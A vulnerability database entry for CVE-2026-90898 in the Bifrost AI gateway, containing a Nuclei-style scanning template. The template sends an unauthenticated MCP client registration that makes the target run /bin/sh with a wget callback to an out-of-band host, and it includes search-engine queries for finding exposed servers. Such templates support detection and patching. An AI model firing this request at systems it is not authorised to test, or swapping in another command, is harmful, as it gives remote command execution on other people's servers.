Bifrost < 2.1.0 - Unauthenticated MCP Stdio Command Execution
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2026-90898 | 14 Sep 202611:10 | – | circl | |
| CVE-2026-90898 | 14 Sep 202610:18 | – | cve | |
| CVE-2026-90898 Bifrost unauthenticated remote code execution via MCP stdio client registration | 14 Sep 202610:18 | – | cvelist | |
| EUVD-2026-77357 | 14 Sep 202610:18 | – | euvd | |
| CVE-2026-90898 | 13 Oct 202616:57 | – | kitploit | |
| CVE-2026-90898 | 14 Sep 202610:18 | – | mend | |
| CVE-2026-90898 | 14 Sep 202611:17 | – | nvd | |
| PT-2026-91161 | 14 Sep 202600:00 | – | ptsecurity | |
| CVE-2026-90898: Missing Authentication for Critical Function | 14 Sep 202600:00 | – | rapid7 | |
| Critical Bifrost AI Gateway Flaw Lets Attackers Run Commands Without Credentials | 22 Sep 202616:41 | – | thn |
10
| Source | Link |
|---|---|
| github | www.github.com/maximhq/bifrost/pull/6757 |
id: CVE-2026-90898
info:
name: Bifrost < 2.1.0 - Unauthenticated MCP Stdio Command Execution
author: alex700
severity: critical
description: |
When dashboard authentication is disabled, Bifrost accepts an unauthenticated stdio MCP client registration and starts its configured command before the MCP handshake completes. This template runs a benign outbound HTTP request from the target and requires an out-of-band callback to confirm command execution.
impact: |
An unauthenticated network caller can execute a command with the privileges of the Bifrost gateway process.
remediation: |
Upgrade Bifrost to transports v2.1.0 or later and enable dashboard authentication.
reference:
- https://github.com/maximhq/bifrost/pull/6757
classification:
cve-id: CVE-2026-90898
cwe-id: CWE-78
metadata:
max-request: 1
vendor: maximhq
product: bifrost
shodan-query: http.html:"bifrost-shell"
fofa-query: body="bifrost-shell"
tags: cve,cve2026,bifrost,rce,oast,intrusive
variables:
client_name: "mcpchk_{{rand_text_alpha(10)}}"
http:
- raw:
- |
@timeout: 45s
POST /api/mcp/client HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{client_name}}","connection_type":"stdio","stdio_config":{"command":"/bin/sh","args":["-c","wget -q -O /dev/null http://{{interactsh-url}}/bifrost-90898"]},"tools_to_execute":["*"]}
matchers:
- type: dsl
dsl:
- 'status_code == 500 && contains(body, "context deadline exceeded") && contains(interactsh_protocol, "http")'
# digest: 490a004630440220496129e6887e9385f34a212cd2567fb5c3e4a5c684282a63edf90a5496b45b6002204c8d561c67b6d2ed02f8558c111975299848931df5f16dbce17ef6e70943134a:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Oct 2026 06:38Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.19.8
EPSS0.00621
SSVC